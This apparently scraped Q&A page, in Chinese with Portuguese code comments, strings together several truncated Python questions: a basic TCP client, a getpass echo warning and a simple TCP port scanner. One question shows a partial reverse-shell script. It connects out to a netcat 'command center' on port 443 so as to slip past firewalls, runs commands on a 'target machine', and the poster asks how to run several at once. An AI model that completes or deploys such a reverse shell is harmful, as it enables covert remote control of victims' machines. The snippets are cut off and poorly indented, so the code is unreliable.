我为一个简单的TCP客户端编写了代码:
from socket import *
# Configurações de conexão do servidor
# O nome do servidor pode ser o endereço de
# IP ou o domínio (ola.python.net)
serverHost = 'localhost'#ip do servidor
serverPort = 50008
# Mensagem a ser mandada codificada em bytes
menssagem = [b'Ola mundo da internet!']
# Criamos o socket e o conectamos ao servidor
sockobj = socket(AF_INET, SOCK_STREAM)
sockobj.connect((serverHost, serverPort))
# Mandamos a menssagem linha por linha
for linha in menssagem:
sockobj.send(linha)
# Depois de mandar …
Run Code Online (Sandbox Code Playgroud) 下面的代码有效但每次运行程序时,例如目标机器上的记事本,提示都会停止,直到我退出程序.
如何在目标机器上同时运行多个程序?我想它可以通过线程或子进程模块来实现,但我仍然无法使用这个概念.
我怎样才能做到这一点?
import socket
import time
import subprocess #Executar comandos do SO
#criando a conexao reversa
IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada
def connect(IP,PORT):
#conectando a central de controle
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IP/TCP
s.connect((IP,PORT))
s.send('[!] Conexao recebida\n') # msg pra ver se foi conectado
#s.close()
return …
Run Code Online (Sandbox Code Playgroud) python python-multithreading python-3.x python-multiprocessing
当我运行此代码时:
import getpass
p = getpass.getpass(prompt='digite a senha\n')
if p == '12345':
print('YO Paul')
else:
print('BRHHH')
print('O seu input foi:', p) # p = seu input
Run Code Online (Sandbox Code Playgroud)
我收到了这个警告:
Warning (from warnings module):
File "/usr/lib/python3.4/getpass.py", line 63
passwd = fallback_getpass(prompt, stream)
GetPassWarning: Can not control echo on the terminal. Warning: Password input may be echoed.
Run Code Online (Sandbox Code Playgroud) #####################################
# Portscan TCP #
# #
#####################################
# -*- coding: utf-8 -*-
#!/usr/bin/python3
import socket
ip = input("Digite o IP ou endereco: ")
ports = []
count = 0
while count < 10:
ports.append(int(input("Digite a porta: ")))
count += 1
for port in ports:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(0.05)
code = client.connect_ex((ip, port)) #conecta e traz a msg de erro
#Like connect(address), but return an error indicator instead of raising an exception for errors
if code == 0: #0 …
Run Code Online (Sandbox Code Playgroud)